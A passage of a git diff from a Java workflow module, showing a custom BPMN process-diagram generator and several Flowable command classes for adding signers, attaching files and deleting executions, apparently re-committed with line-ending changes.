Collections.emptyList(), scaleFactor, false); + } + + protected CustomDefaultProcessDiagramCanvas generateProcessDiagram(BpmnModel bpmnModel, String imageType, + List highLightedActivities, List highLightedFlows, + String activityFontName, String labelFontName, String annotationFontName, ClassLoader customClassLoader, double scaleFactor, boolean drawSequenceFlowNameWithNoLabelDI) { + + prepareBpmnModel(bpmnModel); + + CustomDefaultProcessDiagramCanvas processDiagramCanvas = initProcessDiagramCanvas(bpmnModel, imageType, activityFontName, labelFontName, annotationFontName, customClassLoader); + + // Draw pool shape, if process is participant in collaboration + for (Pool pool : bpmnModel.getPools()) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(pool.getId()); + processDiagramCanvas.drawPoolOrLane(pool.getName(), graphicInfo, scaleFactor); + } + + // Draw lanes + for (Process process : bpmnModel.getProcesses()) { + for (Lane lane : process.getLanes()) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(lane.getId()); + processDiagramCanvas.drawPoolOrLane(lane.getName(), graphicInfo, scaleFactor); + } + } + + // Draw activities and their sequence-flows + for (Process process : bpmnModel.getProcesses()) { + for (FlowNode flowNode : process.findFlowElementsOfType(FlowNode.class)) { + if (!isPartOfCollapsedSubProcess(flowNode, bpmnModel)) { + drawActivity(processDiagramCanvas, bpmnModel, flowNode, highLightedActivities, highLightedFlows, scaleFactor, drawSequenceFlowNameWithNoLabelDI); + } + } + } + + // Draw artifacts + for (Process process : bpmnModel.getProcesses()) { + + for (Artifact artifact : process.getArtifacts()) { + drawArtifact(processDiagramCanvas, bpmnModel, artifact); + } + + List subProcesses = process.findFlowElementsOfType(SubProcess.class, true); + if (subProcesses != null) { + for (SubProcess subProcess : subProcesses) { + + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(subProcess.getId()); + if (graphicInfo != null && graphicInfo.getExpanded() != null && !graphicInfo.getExpanded()) { + continue; + } + + if (!isPartOfCollapsedSubProcess(subProcess, bpmnModel)) { + for (Artifact subProcessArtifact : subProcess.getArtifacts()) { + drawArtifact(processDiagramCanvas, bpmnModel, subProcessArtifact); + } + } + } + } + } + + return processDiagramCanvas; + } + + protected void prepareBpmnModel(BpmnModel bpmnModel) { + + // Need to make sure all elements have positive x and y. + // Check all graphicInfo and update the elements accordingly + + List allGraphicInfos = new ArrayList<>(); + if (bpmnModel.getLocationMap() != null) { + allGraphicInfos.addAll(bpmnModel.getLocationMap().values()); + } + if (bpmnModel.getLabelLocationMap() != null) { + allGraphicInfos.addAll(bpmnModel.getLabelLocationMap().values()); + } + if (bpmnModel.getFlowLocationMap() != null) { + for (List flowGraphicInfos : bpmnModel.getFlowLocationMap().values()) { + allGraphicInfos.addAll(flowGraphicInfos); + } + } + + if (allGraphicInfos.size() > 0) { + + boolean needsTranslationX = false; + boolean needsTranslationY = false; + + double lowestX = 0.0; + double lowestY = 0.0; + + // Collect lowest x and y + for (GraphicInfo graphicInfo : allGraphicInfos) { + + double x = graphicInfo.getX(); + double y = graphicInfo.getY(); + + if (x < lowestX) { + needsTranslationX = true; + lowestX = x; + } + if (y < lowestY) { + needsTranslationY = true; + lowestY = y; + } + + } + + // Update all graphicInfo objects + if (needsTranslationX || needsTranslationY) { + + double translationX = Math.abs(lowestX); + double translationY = Math.abs(lowestY); + + for (GraphicInfo graphicInfo : allGraphicInfos) { + if (needsTranslationX) { + graphicInfo.setX(graphicInfo.getX() + translationX); + } + if (needsTranslationY) { + graphicInfo.setY(graphicInfo.getY() + translationY); + } + } + } + + } + + } + + protected void drawActivity(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, + FlowNode flowNode, List highLightedActivities, List highLightedFlows, double scaleFactor, Boolean drawSequenceFlowNameWithNoLabelDI) { + + ActivityDrawInstruction drawInstruction = activityDrawInstructions.get(flowNode.getClass()); + if (drawInstruction != null) { + + drawInstruction.draw(processDiagramCanvas, bpmnModel, flowNode); + + // Gather info on the multi instance marker + boolean multiInstanceSequential = false; + boolean multiInstanceParallel = false; + boolean collapsed = false; + if (flowNode instanceof Activity) { + Activity activity = (Activity) flowNode; + MultiInstanceLoopCharacteristics multiInstanceLoopCharacteristics = activity.getLoopCharacteristics(); + if (multiInstanceLoopCharacteristics != null) { + multiInstanceSequential = multiInstanceLoopCharacteristics.isSequential(); + multiInstanceParallel = !multiInstanceSequential; + } + } + + // Gather info on the collapsed marker + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + if (flowNode instanceof SubProcess) { + collapsed = graphicInfo.getExpanded() != null && !graphicInfo.getExpanded(); + } else if (flowNode instanceof CallActivity) { + collapsed = true; + } + + if (scaleFactor == 1.0) { + // Actually draw the markers + processDiagramCanvas.drawActivityMarkers((int) graphicInfo.getX(), (int) graphicInfo.getY(), (int) graphicInfo.getWidth(), (int) graphicInfo.getHeight(), + multiInstanceSequential, multiInstanceParallel, collapsed); + } + + // Draw highlighted activities + if (highLightedActivities.contains(flowNode.getId())) { + drawHighLightRed(processDiagramCanvas, bpmnModel.getGraphicInfo(flowNode.getId())); + } else if (highLightedActivities.contains(Color.RED.toString() + flowNode.getId())) { + drawHighLight(processDiagramCanvas, bpmnModel.getGraphicInfo(flowNode.getId())); + } + + } else if (flowNode instanceof Task) { + activityDrawInstructions.get(Task.class).draw(processDiagramCanvas, bpmnModel, flowNode); + + if (highLightedActivities.contains(flowNode.getId())) { + drawHighLightRed(processDiagramCanvas, bpmnModel.getGraphicInfo(flowNode.getId())); + } else if (highLightedActivities.contains(Color.RED.toString() + flowNode.getId())) { + drawHighLight(processDiagramCanvas, bpmnModel.getGraphicInfo(flowNode.getId())); + } + } + + // Outgoing transitions of activity + for (SequenceFlow sequenceFlow : flowNode.getOutgoingFlows()) { + boolean highLighted = (highLightedFlows.contains(sequenceFlow.getId())); + String defaultFlow = null; + if (flowNode instanceof Activity) { + defaultFlow = ((Activity) flowNode).getDefaultFlow(); + } else if (flowNode instanceof Gateway) { + defaultFlow = ((Gateway) flowNode).getDefaultFlow(); + } + + boolean isDefault = false; + if (defaultFlow != null && defaultFlow.equalsIgnoreCase(sequenceFlow.getId())) { + isDefault = true; + } + boolean drawConditionalIndicator = sequenceFlow.getConditionExpression() != null && sequenceFlow.getConditionExpression().trim().length() > 0 && !(flowNode instanceof Gateway); + + String sourceRef = sequenceFlow.getSourceRef(); + String targetRef = sequenceFlow.getTargetRef(); + FlowElement sourceElement = bpmnModel.getFlowElement(sourceRef); + FlowElement targetElement = bpmnModel.getFlowElement(targetRef); + List graphicInfoList = bpmnModel.getFlowLocationGraphicInfo(sequenceFlow.getId()); + if (graphicInfoList != null && graphicInfoList.size() > 0) { + graphicInfoList = connectionPerfectionizer(processDiagramCanvas, bpmnModel, sourceElement, targetElement, graphicInfoList); + int[] xPoints = new int[graphicInfoList.size()]; + int[] yPoints = new int[graphicInfoList.size()]; + + for (int i = 1; i < graphicInfoList.size(); i++) { + GraphicInfo graphicInfo = graphicInfoList.get(i); + GraphicInfo previousGraphicInfo = graphicInfoList.get(i - 1); + + if (i == 1) { + xPoints[0] = (int) previousGraphicInfo.getX(); + yPoints[0] = (int) previousGraphicInfo.getY(); + } + xPoints[i] = (int) graphicInfo.getX(); + yPoints[i] = (int) graphicInfo.getY(); + + } + + processDiagramCanvas.drawSequenceflow(xPoints, yPoints, drawConditionalIndicator, isDefault, highLighted, scaleFactor); + + // Draw sequenceflow label + GraphicInfo labelGraphicInfo = bpmnModel.getLabelGraphicInfo(sequenceFlow.getId()); + if (labelGraphicInfo != null) { + processDiagramCanvas.drawLabel(sequenceFlow.getName(), labelGraphicInfo, false); + } else { + if (drawSequenceFlowNameWithNoLabelDI) { + GraphicInfo lineCenter = getLineCenter(graphicInfoList); + processDiagramCanvas.drawLabel(sequenceFlow.getName(), lineCenter, false); + } + + } + } + } + + // Nested elements + if (flowNode instanceof FlowElementsContainer) { + for (FlowElement nestedFlowElement : ((FlowElementsContainer) flowNode).getFlowElements()) { + if (nestedFlowElement instanceof FlowNode && !isPartOfCollapsedSubProcess(nestedFlowElement, bpmnModel)) { + drawActivity(processDiagramCanvas, bpmnModel, (FlowNode) nestedFlowElement, + highLightedActivities, highLightedFlows, scaleFactor, drawSequenceFlowNameWithNoLabelDI); + } + } + } + } + + /** + * This method makes coordinates of connection flow better. + * + * @param processDiagramCanvas + * @param bpmnModel + * @param sourceElement + * @param targetElement + * @param graphicInfoList + * @return + */ + protected static List connectionPerfectionizer(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, BaseElement sourceElement, BaseElement targetElement, List graphicInfoList) { + GraphicInfo sourceGraphicInfo = bpmnModel.getGraphicInfo(sourceElement.getId()); + GraphicInfo targetGraphicInfo = bpmnModel.getGraphicInfo(targetElement.getId()); + + CustomDefaultProcessDiagramCanvas.SHAPE_TYPE sourceShapeType = getShapeType(sourceElement); + CustomDefaultProcessDiagramCanvas.SHAPE_TYPE targetShapeType = getShapeType(targetElement); + + return processDiagramCanvas.connectionPerfectionizer(sourceShapeType, targetShapeType, sourceGraphicInfo, targetGraphicInfo, graphicInfoList); + } + + /** + * This method returns shape type of base element.
+ * Each element can be presented as rectangle, rhombus, or ellipse. + * + * @param baseElement + * @return CustomDefaultProcessDiagramCanvas.SHAPE_TYPE + */ + protected static CustomDefaultProcessDiagramCanvas.SHAPE_TYPE getShapeType(BaseElement baseElement) { + if (baseElement instanceof Task || baseElement instanceof Activity || baseElement instanceof TextAnnotation) { + return CustomDefaultProcessDiagramCanvas.SHAPE_TYPE.Rectangle; + } else if (baseElement instanceof Gateway) { + return CustomDefaultProcessDiagramCanvas.SHAPE_TYPE.Rhombus; + } else if (baseElement instanceof Event) { + return CustomDefaultProcessDiagramCanvas.SHAPE_TYPE.Ellipse; + } else { + // unknown source element, just do not correct coordinates + } + return null; + } + + protected static GraphicInfo getLineCenter(List graphicInfoList) { + GraphicInfo gi = new GraphicInfo(); + + int[] xPoints = new int[graphicInfoList.size()]; + int[] yPoints = new int[graphicInfoList.size()]; + + double length = 0; + double[] lengths = new double[graphicInfoList.size()]; + lengths[0] = 0; + double m; + for (int i = 1; i < graphicInfoList.size(); i++) { + GraphicInfo graphicInfo = graphicInfoList.get(i); + GraphicInfo previousGraphicInfo = graphicInfoList.get(i - 1); + + if (i == 1) { + xPoints[0] = (int) previousGraphicInfo.getX(); + yPoints[0] = (int) previousGraphicInfo.getY(); + } + xPoints[i] = (int) graphicInfo.getX(); + yPoints[i] = (int) graphicInfo.getY(); + + length += Math.sqrt( + Math.pow((int) graphicInfo.getX() - (int) previousGraphicInfo.getX(), 2) + + Math.pow((int) graphicInfo.getY() - (int) previousGraphicInfo.getY(), 2)); + lengths[i] = length; + } + m = length / 2; + int p1 = 0; + int p2 = 1; + for (int i = 1; i < lengths.length; i++) { + double len = lengths[i]; + p1 = i - 1; + p2 = i; + if (len > m) { + break; + } + } + + GraphicInfo graphicInfo1 = graphicInfoList.get(p1); + GraphicInfo graphicInfo2 = graphicInfoList.get(p2); + + double AB = (int) graphicInfo2.getX() - (int) graphicInfo1.getX(); + double OA = (int) graphicInfo2.getY() - (int) graphicInfo1.getY(); + double OB = lengths[p2] - lengths[p1]; + double ob = m - lengths[p1]; + double ab = AB * ob / OB; + double oa = OA * ob / OB; + + double mx = graphicInfo1.getX() + ab; + double my = graphicInfo1.getY() + oa; + + gi.setX(mx); + gi.setY(my); + return gi; + } + + protected void drawArtifact(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, Artifact artifact) { + + ArtifactDrawInstruction drawInstruction = artifactDrawInstructions.get(artifact.getClass()); + if (drawInstruction != null) { + drawInstruction.draw(processDiagramCanvas, bpmnModel, artifact); + } + } + + private static void drawHighLight(CustomDefaultProcessDiagramCanvas processDiagramCanvas, GraphicInfo graphicInfo) { + processDiagramCanvas.drawHighLight((int) graphicInfo.getX(), (int) graphicInfo.getY(), (int) graphicInfo.getWidth(), (int) graphicInfo.getHeight()); + + } + + private static void drawHighLightRed(CustomDefaultProcessDiagramCanvas processDiagramCanvas, GraphicInfo graphicInfo) { + processDiagramCanvas.drawHighLightRed((int) graphicInfo.getX(), (int) graphicInfo.getY(), (int) graphicInfo.getWidth(), (int) graphicInfo.getHeight()); + + } + + protected static CustomDefaultProcessDiagramCanvas initProcessDiagramCanvas(BpmnModel bpmnModel, String imageType, + String activityFontName, String labelFontName, String annotationFontName, ClassLoader customClassLoader) { + + // We need to calculate maximum values to know how big the image will be in its entirety + double minX = Double.MAX_VALUE; + double maxX = 0; + double minY = Double.MAX_VALUE; + double maxY = 0; + + for (Pool pool : bpmnModel.getPools()) { + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(pool.getId()); + minX = graphicInfo.getX(); + maxX = graphicInfo.getX() + graphicInfo.getWidth(); + minY = graphicInfo.getY(); + maxY = graphicInfo.getY() + graphicInfo.getHeight(); + } + + List flowNodes = gatherAllFlowNodes(bpmnModel); + for (FlowNode flowNode : flowNodes) { + + GraphicInfo flowNodeGraphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); + + // width + if (flowNodeGraphicInfo.getX() + flowNodeGraphicInfo.getWidth() > maxX) { + maxX = flowNodeGraphicInfo.getX() + flowNodeGraphicInfo.getWidth(); + } + if (flowNodeGraphicInfo.getX() < minX) { + minX = flowNodeGraphicInfo.getX(); + } + // height + if (flowNodeGraphicInfo.getY() + flowNodeGraphicInfo.getHeight() > maxY) { + maxY = flowNodeGraphicInfo.getY() + flowNodeGraphicInfo.getHeight(); + } + if (flowNodeGraphicInfo.getY() < minY) { + minY = flowNodeGraphicInfo.getY(); + } + + for (SequenceFlow sequenceFlow : flowNode.getOutgoingFlows()) { + List graphicInfoList = bpmnModel.getFlowLocationGraphicInfo(sequenceFlow.getId()); + if (graphicInfoList != null) { + for (GraphicInfo graphicInfo : graphicInfoList) { + // width + if (graphicInfo.getX() > maxX) { + maxX = graphicInfo.getX(); + } + if (graphicInfo.getX() < minX) { + minX = graphicInfo.getX(); + } + // height + if (graphicInfo.getY() > maxY) { + maxY = graphicInfo.getY(); + } + if (graphicInfo.getY() < minY) { + minY = graphicInfo.getY(); + } + } + } + } + } + + List artifacts = gatherAllArtifacts(bpmnModel); + for (Artifact artifact : artifacts) { + + GraphicInfo artifactGraphicInfo = bpmnModel.getGraphicInfo(artifact.getId()); + + if (artifactGraphicInfo != null) { + // width + if (artifactGraphicInfo.getX() + artifactGraphicInfo.getWidth() > maxX) { + maxX = artifactGraphicInfo.getX() + artifactGraphicInfo.getWidth(); + } + if (artifactGraphicInfo.getX() < minX) { + minX = artifactGraphicInfo.getX(); + } + // height + if (artifactGraphicInfo.getY() + artifactGraphicInfo.getHeight() > maxY) { + maxY = artifactGraphicInfo.getY() + artifactGraphicInfo.getHeight(); + } + if (artifactGraphicInfo.getY() < minY) { + minY = artifactGraphicInfo.getY(); + } + } + + List graphicInfoList = bpmnModel.getFlowLocationGraphicInfo(artifact.getId()); + if (graphicInfoList != null) { + for (GraphicInfo graphicInfo : graphicInfoList) { + // width + if (graphicInfo.getX() > maxX) { + maxX = graphicInfo.getX(); + } + if (graphicInfo.getX() < minX) { + minX = graphicInfo.getX(); + } + // height + if (graphicInfo.getY() > maxY) { + maxY = graphicInfo.getY(); + } + if (graphicInfo.getY() < minY) { + minY = graphicInfo.getY(); + } + } + } + } + + int nrOfLanes = 0; + for (Process process : bpmnModel.getProcesses()) { + for (Lane l : process.getLanes()) { + + nrOfLanes++; + + GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(l.getId()); + // // width + if (graphicInfo.getX() + graphicInfo.getWidth() > maxX) { + maxX = graphicInfo.getX() + graphicInfo.getWidth(); + } + if (graphicInfo.getX() < minX) { + minX = graphicInfo.getX(); + } + // height + if (graphicInfo.getY() + graphicInfo.getHeight() > maxY) { + maxY = graphicInfo.getY() + graphicInfo.getHeight(); + } + if (graphicInfo.getY() < minY) { + minY = graphicInfo.getY(); + } + } + } + + // Special case, see https://activiti.atlassian.net/browse/ACT-1431 + if (flowNodes.isEmpty() && bpmnModel.getPools().isEmpty() && nrOfLanes == 0) { + // Nothing to show + minX = 0; + minY = 0; + } + + return new CustomDefaultProcessDiagramCanvas((int) maxX + 10, (int) maxY + 10, (int) minX, (int) minY, + imageType, activityFontName, labelFontName, annotationFontName, customClassLoader); + } + + protected static List gatherAllArtifacts(BpmnModel bpmnModel) { + List artifacts = new ArrayList<>(); + for (Process process : bpmnModel.getProcesses()) { + artifacts.addAll(process.getArtifacts()); + } + return artifacts; + } + + protected static List gatherAllFlowNodes(BpmnModel bpmnModel) { + List flowNodes = new ArrayList<>(); + for (Process process : bpmnModel.getProcesses()) { + flowNodes.addAll(gatherAllFlowNodes(process)); + } + return flowNodes; + } + + protected static List gatherAllFlowNodes(FlowElementsContainer flowElementsContainer) { + List flowNodes = new ArrayList<>(); + for (FlowElement flowElement : flowElementsContainer.getFlowElements()) { + if (flowElement instanceof FlowNode) { + flowNodes.add((FlowNode) flowElement); + } + if (flowElement instanceof FlowElementsContainer) { + flowNodes.addAll(gatherAllFlowNodes((FlowElementsContainer) flowElement)); + } + } + return flowNodes; + } + + protected boolean isPartOfCollapsedSubProcess(FlowElement flowElement, BpmnModel model) { + SubProcess subProcess = flowElement.getSubProcess(); + if (subProcess != null) { + GraphicInfo graphicInfo = model.getGraphicInfo(subProcess.getId()); + if (graphicInfo != null && graphicInfo.getExpanded() != null && !graphicInfo.getExpanded()) { + return true; + } + + return isPartOfCollapsedSubProcess(subProcess, model); + } + + return false; + } + + public Map, ActivityDrawInstruction> getActivityDrawInstructions() { + return activityDrawInstructions; + } + + public void setActivityDrawInstructions( + Map, ActivityDrawInstruction> activityDrawInstructions) { + this.activityDrawInstructions = activityDrawInstructions; + } + + public Map, ArtifactDrawInstruction> getArtifactDrawInstructions() { + return artifactDrawInstructions; + } + + public void setArtifactDrawInstructions( + Map, ArtifactDrawInstruction> artifactDrawInstructions) { + this.artifactDrawInstructions = artifactDrawInstructions; + } + + protected interface ActivityDrawInstruction { + void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode); + } + + protected interface ArtifactDrawInstruction { + void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, Artifact artifact); + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/AddSequenceMultiInstanceCmd.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/AddSequenceMultiInstanceCmd.java index 3cdfcf4..61a5338 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/AddSequenceMultiInstanceCmd.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/AddSequenceMultiInstanceCmd.java @@ -1,61 +1,61 @@ -package org.dromara.workflow.flowable.cmd; - -import cn.hutool.core.collection.CollUtil; -import org.flowable.common.engine.impl.interceptor.Command; -import org.flowable.common.engine.impl.interceptor.CommandContext; -import org.flowable.engine.impl.persistence.entity.ExecutionEntity; -import org.flowable.engine.impl.persistence.entity.ExecutionEntityManager; -import org.flowable.engine.impl.util.CommandContextUtil; - -import java.util.HashMap; -import java.util.List; -import java.util.Map; - -import static org.dromara.workflow.common.constant.FlowConstant.NUMBER_OF_INSTANCES; - -/** - * 串行加签 - * - * @author may - */ -public class AddSequenceMultiInstanceCmd implements Command { - - /** - * 执行id - */ - private final String executionId; - - /** - * 会签人员集合KEY - */ - private final String assigneeList; - - /** - * 加签人员 - */ - private final List assignees; - - public AddSequenceMultiInstanceCmd(String executionId, String assigneeList, List assignees) { - this.executionId = executionId; - this.assigneeList = assigneeList; - this.assignees = assignees; - } - - @Override - public Void execute(CommandContext commandContext) { - ExecutionEntityManager executionEntityManager = CommandContextUtil.getExecutionEntityManager(); - ExecutionEntity entity = executionEntityManager.findById(executionId); - // 多实例任务总数加 assignees.size() - if (entity.getVariable(NUMBER_OF_INSTANCES) instanceof Integer nrOfInstances) { - entity.setVariable(NUMBER_OF_INSTANCES, nrOfInstances + assignees.size()); - } - // 设置流程变量 - if (entity.getVariable(assigneeList) instanceof List userIds) { - CollUtil.addAll(userIds, assignees); - Map variables = new HashMap<>(16); - variables.put(assigneeList, userIds); - entity.setVariables(variables); - } - return null; - } -} +package org.dromara.workflow.flowable.cmd; + +import cn.hutool.core.collection.CollUtil; +import org.flowable.common.engine.impl.interceptor.Command; +import org.flowable.common.engine.impl.interceptor.CommandContext; +import org.flowable.engine.impl.persistence.entity.ExecutionEntity; +import org.flowable.engine.impl.persistence.entity.ExecutionEntityManager; +import org.flowable.engine.impl.util.CommandContextUtil; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import static org.dromara.workflow.common.constant.FlowConstant.NUMBER_OF_INSTANCES; + +/** + * 串行加签 + * + * @author may + */ +public class AddSequenceMultiInstanceCmd implements Command { + + /** + * 执行id + */ + private final String executionId; + + /** + * 会签人员集合KEY + */ + private final String assigneeList; + + /** + * 加签人员 + */ + private final List assignees; + + public AddSequenceMultiInstanceCmd(String executionId, String assigneeList, List assignees) { + this.executionId = executionId; + this.assigneeList = assigneeList; + this.assignees = assignees; + } + + @Override + public Void execute(CommandContext commandContext) { + ExecutionEntityManager executionEntityManager = CommandContextUtil.getExecutionEntityManager(); + ExecutionEntity entity = executionEntityManager.findById(executionId); + // 多实例任务总数加 assignees.size() + if (entity.getVariable(NUMBER_OF_INSTANCES) instanceof Integer nrOfInstances) { + entity.setVariable(NUMBER_OF_INSTANCES, nrOfInstances + assignees.size()); + } + // 设置流程变量 + if (entity.getVariable(assigneeList) instanceof List userIds) { + CollUtil.addAll(userIds, assignees); + Map variables = new HashMap<>(16); + variables.put(assigneeList, userIds); + entity.setVariables(variables); + } + return null; + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/AttachmentCmd.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/AttachmentCmd.java index 20a0a5f..b644874 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/AttachmentCmd.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/AttachmentCmd.java @@ -1,66 +1,66 @@ -package org.dromara.workflow.flowable.cmd; - -import cn.hutool.core.collection.CollUtil; -import org.dromara.common.core.domain.dto.OssDTO; -import org.dromara.common.core.service.OssService; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.satoken.utils.LoginHelper; -import org.flowable.common.engine.impl.interceptor.Command; -import org.flowable.common.engine.impl.interceptor.CommandContext; -import org.flowable.engine.impl.persistence.entity.AttachmentEntity; -import org.flowable.engine.impl.persistence.entity.AttachmentEntityManager; -import org.flowable.engine.impl.util.CommandContextUtil; - -import java.util.Date; -import java.util.List; - -/** - * 附件上传 - * - * @author may - */ -public class AttachmentCmd implements Command { - - private final String fileId; - - private final String taskId; - - private final String processInstanceId; - - private final OssService ossService; - - public AttachmentCmd(String fileId, String taskId, String processInstanceId, OssService ossService) { - this.fileId = fileId; - this.taskId = taskId; - this.processInstanceId = processInstanceId; - this.ossService = ossService; - } - - @Override - public Boolean execute(CommandContext commandContext) { - try { - if (StringUtils.isNotBlank(fileId)) { - List ossList = ossService.selectByIds(fileId); - if (CollUtil.isNotEmpty(ossList)) { - for (OssDTO oss : ossList) { - AttachmentEntityManager attachmentEntityManager = CommandContextUtil.getAttachmentEntityManager(); - AttachmentEntity attachmentEntity = attachmentEntityManager.create(); - attachmentEntity.setRevision(1); - attachmentEntity.setUserId(LoginHelper.getUserId().toString()); - attachmentEntity.setName(oss.getOriginalName()); - attachmentEntity.setDescription(oss.getOriginalName()); - attachmentEntity.setType(oss.getFileSuffix()); - attachmentEntity.setTaskId(taskId); - attachmentEntity.setProcessInstanceId(processInstanceId); - attachmentEntity.setContentId(oss.getOssId().toString()); - attachmentEntity.setTime(new Date()); - attachmentEntityManager.insert(attachmentEntity); - } - } - } - } catch (Exception e) { - throw new RuntimeException(e); - } - return true; - } -} +package org.dromara.workflow.flowable.cmd; + +import cn.hutool.core.collection.CollUtil; +import org.dromara.common.core.domain.dto.OssDTO; +import org.dromara.common.core.service.OssService; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.satoken.utils.LoginHelper; +import org.flowable.common.engine.impl.interceptor.Command; +import org.flowable.common.engine.impl.interceptor.CommandContext; +import org.flowable.engine.impl.persistence.entity.AttachmentEntity; +import org.flowable.engine.impl.persistence.entity.AttachmentEntityManager; +import org.flowable.engine.impl.util.CommandContextUtil; + +import java.util.Date; +import java.util.List; + +/** + * 附件上传 + * + * @author may + */ +public class AttachmentCmd implements Command { + + private final String fileId; + + private final String taskId; + + private final String processInstanceId; + + private final OssService ossService; + + public AttachmentCmd(String fileId, String taskId, String processInstanceId, OssService ossService) { + this.fileId = fileId; + this.taskId = taskId; + this.processInstanceId = processInstanceId; + this.ossService = ossService; + } + + @Override + public Boolean execute(CommandContext commandContext) { + try { + if (StringUtils.isNotBlank(fileId)) { + List ossList = ossService.selectByIds(fileId); + if (CollUtil.isNotEmpty(ossList)) { + for (OssDTO oss : ossList) { + AttachmentEntityManager attachmentEntityManager = CommandContextUtil.getAttachmentEntityManager(); + AttachmentEntity attachmentEntity = attachmentEntityManager.create(); + attachmentEntity.setRevision(1); + attachmentEntity.setUserId(LoginHelper.getUserId().toString()); + attachmentEntity.setName(oss.getOriginalName()); + attachmentEntity.setDescription(oss.getOriginalName()); + attachmentEntity.setType(oss.getFileSuffix()); + attachmentEntity.setTaskId(taskId); + attachmentEntity.setProcessInstanceId(processInstanceId); + attachmentEntity.setContentId(oss.getOssId().toString()); + attachmentEntity.setTime(new Date()); + attachmentEntityManager.insert(attachmentEntity); + } + } + } + } catch (Exception e) { + throw new RuntimeException(e); + } + return true; + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/DeleteExecutionCmd.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/DeleteExecutionCmd.java index 215d310..7d3e416 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/DeleteExecutionCmd.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/DeleteExecutionCmd.java @@ -1,36 +1,36 @@ -package org.dromara.workflow.flowable.cmd; - -import org.flowable.common.engine.impl.interceptor.Command; -import org.flowable.common.engine.impl.interceptor.CommandContext; -import org.flowable.engine.impl.persistence.entity.ExecutionEntity; -import org.flowable.engine.impl.persistence.entity.ExecutionEntityManager; -import org.flowable.engine.impl.util.CommandContextUtil; - -import java.io.Serializable; - -/** - * 删除执行数据 - * - * @author may - */ -public class DeleteExecutionCmd implements Command, Serializable { - - /** - * 执行id - */ - private final String executionId; - - public DeleteExecutionCmd(String executionId) { - this.executionId = executionId; - } - - @Override - public Void execute(CommandContext commandContext) { - ExecutionEntityManager executionEntityManager = CommandContextUtil.getExecutionEntityManager(); - ExecutionEntity entity = executionEntityManager.findById(executionId); - if (entity != null) { - executionEntityManager.deleteExecutionAndRelatedData(entity, "", false, false); - } - return null; - } -} +package org.dromara.workflow.flowable.cmd; + +import org.flowable.common.engine.impl.interceptor.Command; +import org.flowable.common.engine.impl.interceptor.CommandContext; +import org.flowable.engine.impl.persistence.entity.ExecutionEntity; +import org.flowable.engine.impl.persistence.entity.ExecutionEntityManager; +import org.flowable.engine.impl.util.CommandContextUtil; + +import java.io.Serializable; + +/** + * 删除执行数据 + * + * @author may + */ +public class DeleteExecutionCmd implements Command, Serializable { + + /** + * 执行id + */ + private final String executionId; + + public DeleteExecutionCmd(String executionId) { + this.executionId = executionId; + } + + @Override + public Void execute(CommandContext commandContext) { + ExecutionEntityManager executionEntityManager = CommandContextUtil.getExecutionEntityManager(); + ExecutionEntity entity = executionEntityManager.findById(executionId); + if (entity != null) { + executionEntityManager.deleteExecutionAndRelatedData(entity, "", false, false); + } + return null; + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/DeleteSequenceMultiInstanceCmd.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/DeleteSequenceMultiInstanceCmd.java index a61daeb..0265a46 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/DeleteSequenceMultiInstanceCmd.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/DeleteSequenceMultiInstanceCmd.java @@ -1,83 +1,83 @@ -package org.dromara.workflow.flowable.cmd; - -import cn.hutool.core.util.ObjectUtil; -import lombok.AllArgsConstructor; -import org.dromara.common.core.utils.StreamUtils; -import org.flowable.common.engine.impl.interceptor.Command; -import org.flowable.common.engine.impl.interceptor.CommandContext; -import org.flowable.engine.impl.persistence.entity.ExecutionEntity; -import org.flowable.engine.impl.persistence.entity.ExecutionEntityManager; -import org.flowable.engine.impl.util.CommandContextUtil; - -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; - -import static org.dromara.workflow.common.constant.FlowConstant.LOOP_COUNTER; -import static org.dromara.workflow.common.constant.FlowConstant.NUMBER_OF_INSTANCES; - - -/** - * 串行减签 - * - * @author may - */ -@AllArgsConstructor -public class DeleteSequenceMultiInstanceCmd implements Command { - - /** - * 当前节点审批人员id - */ - private final String currentUserId; - - /** - * 执行id - */ - private final String executionId; - - /** - * 会签人员集合KEY - */ - private final String assigneeList; - - /** - * 减签人员 - */ - private final List assignees; - - - @Override - 